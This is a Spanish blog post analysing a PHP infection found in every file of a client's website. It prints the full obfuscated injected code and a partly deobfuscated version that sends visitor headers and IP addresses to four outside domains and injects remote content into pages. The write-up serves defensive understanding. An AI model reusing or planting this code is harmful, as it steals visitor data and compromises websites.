Historia de una infección

Recientemente al acceder con Internet Explorer 11 a una web, que me pidieron ajustase un tema de diseño, me salió un aviso de bloqueo por virus. Sorprendido pedí acceso al servidor y al revisarle pude comprobar que todos los documentos php tenían un código extra.

$gabsqmn = ';!osvufs}w;* x7f!>> x22!pds," x72 166 x3a 61 x31")) Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]283]42d>%fdy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)## x22l:!}V;3q%}U;y]}R;2]},;os7pd%6|6.7eu{66~67<&w6<:|:**#ppde#)tutjyf`4 x223}!+!<+{e%+*!*+fepdfe{h.973:8297f:5297e:56-xr.985:52985-t.98]K;hojepdoF.uofuopD#)sfebfI{*w%)kVx{**#k#)tutjyf`xT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l} x27mw/ x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hI#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoVutjyf`439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:|4b!>!%yy)#}#-# x24- x24-tusqpt)%z!fmtf!%z>2<!%ww2)%w`TW~ x24<1127-K)ebfsX x27u%)7fmjix6#]ybq}k;opjudovg}x;0]=])0#)U! x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2f`opjudovg x22)!gj}1~!<2p% x7f!~!<##!>!2p%Z<^2 x5c2!fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#{ftmfV x7f<*X&Z&S{ftmfV x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,d}W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1#<!%t2w>#]y74]273]y76]252]y85]256]y6g]257]y86]267]-#:#* x24- x24!>! x24/%tjw/ x24)% x24- x24y4 x24E{h%)sutcvt)esp>hmg%!j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)ofmy%,3,j%>j%!<**3-j%-bubE{h%)sutcvt-#w#)ldbqow/ x24)##-!#~<#/% x24- x24!>!f56 x64 162 x6f 151 x64"))) { $zmbmbj<**9.-j%-bubE{h%)sutcvt)fubmgoj{hA!osvufs!~<3,j%>j%!*3! x27!hmg%!)!gjvufs} x27;mnui}&;zepc}A;~!} x7f;!|!}{;)gj}l;33<%tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%G]y6d]281Ld]245]Kor (strstr($uas," x61 11*!%b:>1<!fmtf!%b:>%s: x5c%j:.2^,%b:<!%c:>%s: x5c%j:^<!%w` x5cY%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%7UFH# x27rfs%6~6< x7fw<***f x27,*e x27,*d x27,*c x27,*b x27)fepdof.)fepdof./#2]285]Ke]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*<%nf%cIjQeTQcOc/#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#44ec:649#-!#:618d5f9#-!v>*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-4-bub%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>`ftsbqA7>q%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&w6< x7fw6*CW&)7gj6<*doj24- x24*!|! x24- x24 x5c%j^ x24- x24tvctus)% x24- x2 x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq% x5cSFWSF!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{hnpd#)tutjy22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`57ftbctmw/ x24)%c*W%eN+#Qi x5c1^W%c!>!%i x5c2^<!Ce*[!;%!<*#}_;#)323ldfid>}&;!osvufs} x7f;!opjudovg}k~~9{d%:osvufs:~928," x6d 163 x69 145")) or (strstr($uae44#)zbssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&e_Sfttj x22)gj6<^#Y# x5cq% x27Y%6<.msv%)!gj}Z;h!opjudovg}{:*mmvo:>:iuhofm%:-5ppde:4%-*.%)euhA)3of>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_ x5c}X x24<pd%w6Z6<.5`hA x27pd%6<pd%w6Z6<.4`hA x2fs%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%7-MSVI&b%!|!*)323zbek!~!<b% x7f!mcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssbif((function_exists(" x6f 142 x5f 163 )%epnbss-%rxW~!Ypp2)%zB%z>! x24/%txpmpusut!-#j0#!/!**#sf@#/qp%>5h%!<*::::::-111112)eobs`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sf27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9! x27!hmg%)!gj!~#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<!%tmw!>!#]y84]275]y83]273]y76]277r_split("%tjw!>!#]y84]275]y83]248]y83]256]y81]265]y7!{e%)!>> x22!ftmbg)!gj<*#k#)usbut`cpV x7f x7f x7f x7f<u%V x277pd%6<pd%w6Z6<.3`hA x27pd%6<pd%w6Z6<.2`hA x27pd%6> x22:ftmbg39*56A:>:8:|:7#6#)t6-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!7]36]373P6]36]73]83]238M7]381]2117gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfsdXA x27K6< x7fw6*34]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#/#7e:5594tRe%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:c x7fw6*CW&)7gj6<.[A x27&6< x7fw6* x7f_*#[k2`{6:!}7;!}6;##}C;!>>!g = " x63 162 x65 141 x74 145 x5f 146 x75 1^#iubq# x5cq% x27jsv%6^#zsfvr# x5cq%7**^#zsfvr# x5cq%)u%:<**#57]38y]47]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%t%)3of:opjudovg<~ x24<!%o:!>! x242178}52w6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**11%:<#64y]552]e7y]#>n%<#372]58y]472]37y]672]48y]#>s%<#462]47y]252]18yyqmpef)# x24*<!%t::!>! x24Ypp3)%cB%iN}#-! x24/%!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72! x*#fmjgk4`{6~6<tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfR x27t31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597f-s) { $GLOBALS[" x61 156 x75 156 x61"]=1; $jxucrou();}}ng(0); $wqwfgtb = implode(array_map("vxcaaud",stqj%7> x2272qj%)7gj6<**2qj%)hopm37R17,67R37,#/q%>U<#16,47R57,27R66,4- x24y7 x24- x24*<! x24- x24gps)%j>1<%j=t$uas=strtolower($_SERVER[" x48 124 x5Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t::**<(<!fwbm)%tjw)# x2]#>q%<#762]67y]562]38y]572]48y]#>m%:|:*r%:-;`msvd}R;*msv%)}.;`UQPMSVD!]284]364]6]234]342]58]24]31#-%tdz*Wsfuvso!%bss x5csboe))1/4 120 x5f 125 x53 105 x52 137 +{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)ufttj x4#-!#]y38#-!%w:**<")));$jxucrou = $zmbmbjg("", $wqwfgtb); n)-1);} @error_reporti35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}#-j{fpg)% x24- x24*<!~! x24/%t2,6<*)ujojR x27id%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6<;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn3]317]445]212]445]43]321]46456 x63 164 x69 157 x6e"; function vxx74 141 x72 164") && (!isset($GLOBALS[" x61 156 x75 156 x61"])))qjA)qj3hopmA x273qj%6<*Y%)fnbozcYufhA x272qj%6<^#zsfvr# x5cq%7/7#@#7/7:|:**t%)m%=*h%)m%):fmjix:<##:>:h2]254]y76#<!%w:!>!(%w:!>! x246767~6!} x27;!>>>!}_;gvc%}&;ftmbg} x7fb%!>!2p%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp7}88:}334}472 x24<!%ff2!>!bssbz) x24]25 x24- x24-!% x<%j=6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!%z>3<*&7-#o]s]o]s]#)fepmqyf x27*&7-n%)utjm6< x7f%7-C)fepmqnjA x27&6! x2400~:<h%_t%:osvufs:~:<*9-1-r%)s%>/hEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUU>!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgPSTrrEvxNoITCnuF_EtaeRCxECaLPer_RtSminrogz'; $ycnzpfbzh=explode(chr((808-688)), substr($gabsqmn,(38849-32923),(107-73)));$ycnzpfbzh=explode(chr((120)), substr($gabsqmn,5926,34)); $jjggwnhcs = $ycnzpfbzh[0]($ycnzpfbzh[(7-6)]);$mthfsza = $ycnzpfbzh[0]($ycnzpfbzh[(8-6)]); if (!function_exists('lvvutnx')) { function lvvutnx($yjiwfad, $mwvtndg,$iwcyobwy) { $gacykiz = NULL; for($ukprlha=0;$ukprlha<(sizeof($yjiwfad)/2);$ukprlha++) {$gacykiz .= substr($mwvtndg, $yjiwfad[($ukprlha*2)],$yjiwfad[($ukprlha*2)+(3-2)]);} return $iwcyobwy(chr((63-54)),chr((530-438)),$gacykiz); }; } $xtpapce = explode(chr((262-218)),'2759,38,5093,64,4189,40,4398,37,4618,30,2979,40,2321,36,26,26,1511,23,1305,36,3681,43,5057,36,5755,26,4791,22,4242,48,3107,52,5259,39,2578,39,3220,54,199,22,5643,43,3879,40,611,57,1596,57,668,43,3452,59,4290,32,5157,70,3724,58,2401,35,1939,67,5686,48,4071,68,2617,64,4882,52,3617,64,988,47,4533,27,5421,67,0,26,2436,20,4934,57,1341,69,4033,38,2918,61,1229,46,1824,57,1162,67,2101,49,811,51,5488,63,2481,54,1653,55,2853,65,2831,22,2708,51,5356,65,3564,53,2357,44,5848,42,2681,27,4685,48,2150,59,2058,43,355,55,2256,65,3325,31,498,52,2456,25,221,47,4648,37,3159,61,928,60,4322,34,460,38,307,48,171,28,1410,46,746,65,2535,43,3073,34,1064,50,5781,67,3782,57,5227,32,3919,67,4490,43,3839,40,5551,53,2006,52,550,33,1114,48,5298,58,4356,42,4853,29,1275,30,3986,47,2209,47,1756,68,4991,38,2797,34,410,50,3274,51,711,35,4139,50,268,39,3511,53,3356,63,5890,36,3019,54,1456,55,1708,48,111,60,52,59,3419,33,5734,21,5029,28,4560,58,4813,40,1881,58,1534,62,1035,29,5604,39,583,28,862,66,4435,55,4733,58,4229,13'); $efkbsuam = $jjggwnhcs("",lvvutnx($xtpapce,$gabsqmn,$mthfsza)); $jjggwnhcs=$gabsqmn; $efkbsuam("");$efkbsuam=(574-453);$gabsqmn=$efkbsuam-1;

Tras ir ejecutando el código y desofuscando parte de él, con unphp.net, pude llegar a la parte interesante del código real que se estaba ejecutando:

function g_1($url) { if (function_exists("file_get_contents") === false) return false; $buf = @file_get_contents($url); if ($buf == "") return false; return$buf; }   
function g_2($url) { if (function_exists("curl_init") === false) return false; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_HEADER, 0); $res = curl_exec($ch); curl_close($ch); if ($res == "") return false; return $res; } 
function g_3($url) { if (function_exists("file")=== false) return false; $inc = @file($url); $buf = @implode("", $inc); if ($buf == "") return false; return $buf; }  
function g_4($url) { if (function_exists("socket_create") === false) return false; $p= @parse_url($url); $host = $p["host"]; if(!isset($p["query"])) $p["query"]=""; $uri = $p["path"] . "?" . $p["query"]; $ip1 = @gethostbyname($host); $ip2 = @long2ip(@ip2long($ip1)); if ($ip1 != $ip2) return false; $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!@socket_connect($sock, $ip1, 80)) { @socket_close($sock); return false; } $req = "GET $uri HTTP/1.0\n"; $req .= "Host: $host\n\n"; socket_write($sock, $req); $buf= ""; while ($t = socket_read($sock, 10000)) { $buf .= $t; } @socket_close($sock); if ($buf == "") return false; list($m, $buf) = explode("\r\n\r\n", $buf); return $buf;  }  
function gtd ($url) { $co = ""; $co = @g_1($url); if ($co !== false) return $co; $co = @g_2($url); if ($co !== false) return $co; $co = @g_3($url); if ($co !== false) return $co; $co = @g_4($url); if ($co !== false) return $co; return ""; }

if (!function_exists("comgzi")) { function comgzi($gzData) { if (substr($gzData,0,3)=="\x1f\x8b\x08") { $i=10; $flg=ord(substr($gzData,3,1)); if ($flg>0) { if ($flg & 4) { list($xlen)=unpack("v",substr($gzData,$i,2));$i=$i+2+$xlen;} if ($flg & 8) $i=strpos($gzData,"\0",$i)+1; if ($flg & 16) $i=strpos($gzData,"\0", $i)+1; if ( $flg & 2) $i=$i+2;} return @gzinflate(substr($gzData,$i,-8));} else{ return false;}}}
function k34($op,$text) { return base64_encode(en2($text, $op)); } 
function check212($param) { if(!isset($_SERVER[$param])) $a="non"; else if ($_SERVER[$param]=="") $a="non"; else $a=$_SERVER[$param]; return $a; } 
function day212() { 
    $a=check212("HTTP_USER_AGENT"); 
    $b=check212("HTTP_REFERER"); 
    $c=check212("REMOTE_ADDR"); 
    $d=check212("HTTP_HOST"); 
    $e=check212("PHP_SELF"); 
    $domarr = array("33db9538","9507c4e8","e5b57288","54dfa1cb"); 
    if (($a=="non") or ($c=="non") or ($d=="non") or strrpos(strtolower($e),"admin") or(preg_match("/" . implode("|", array("google","slurp","msnbot","ia_archiver","yandex","rambler")) . "/i", strtolower($a))) ) 
    { 
        $o1 = ""; 
    } 
    else { 
        $op=mt_rand(100000,999999); 
        $g4=$op."?".urlencode(urlencode(k34($op,$a).".".k34($op,$b).".".k34($op,$c).".".k34($op,$d).".".k34($op,$e))); 
        $url="http://".cqq(".com")."/".$g4; 
        $ca1=en2(@gtd($url),$op); 
        $a1=@explode("!NF0",$ca1); 
        if (sizeof($a1)>=2)
            $o1 =$a1[1]; 
        else 
            $o1 = ""; 
    } 
    return $o1; 
}
if (!function_exists("dcoo")) { function dcoo($cz, $length = null) { if (false !== ($dz = @gzinflate($cz) ) ) return $dz; if (false !== ($dz = @comgzi($cz) ) ) return $dz; if (false !== ($dz = @gzuncompress($cz) ) ) return $dz; if (function_exists("gzdecode") ) { $dz = @gzdecode($cz); if (false !==$dz ) return $dz; } return $cz; }}
if(!function_exists("pa22")) { function pa22($v) { Header("Content-Encoding: none"); 
$p="\x70\162\x65\147\x5f"; // preg_
$p1=$p."\155\x61\164\x63\150"; // match
$p2=$p."\162\x65\160\x6c\141\x63\145"; // replace
$t=dcoo($v); if($p1("/\<\/body/si",$t)) { return $p2("/(\<\/body[^\>]*\>)/si", day212()."\n"."$"."1", $t,1); } else { if($p1("/\<\/html/si",$t)) { return $p2("/(\<\/html[^\>]*\>)/si", day212()."\n"."$"."1", $t,1); } else { return }

Si alguien accedía a la página infectada usando Internet Explorer 11 o Android, no eran robots de rastreo ni se accedía a una página que contuviera “admin” en el nombre, se enviaban las variables HTTP_USER_AGENT, HTTP_REFERER, REMOTE_ADDR, HTTP_HOST, PHP_SELF a cualquiera de estos dominios 33db9538.com, 9507c4e8.com, e5b57288.com, 54dfa1cb.com usando para ello file_get_contents, curl, file o sockets. Todo un trabajo de ocultación del código para enviar la información de acceso de los visitantes a la web.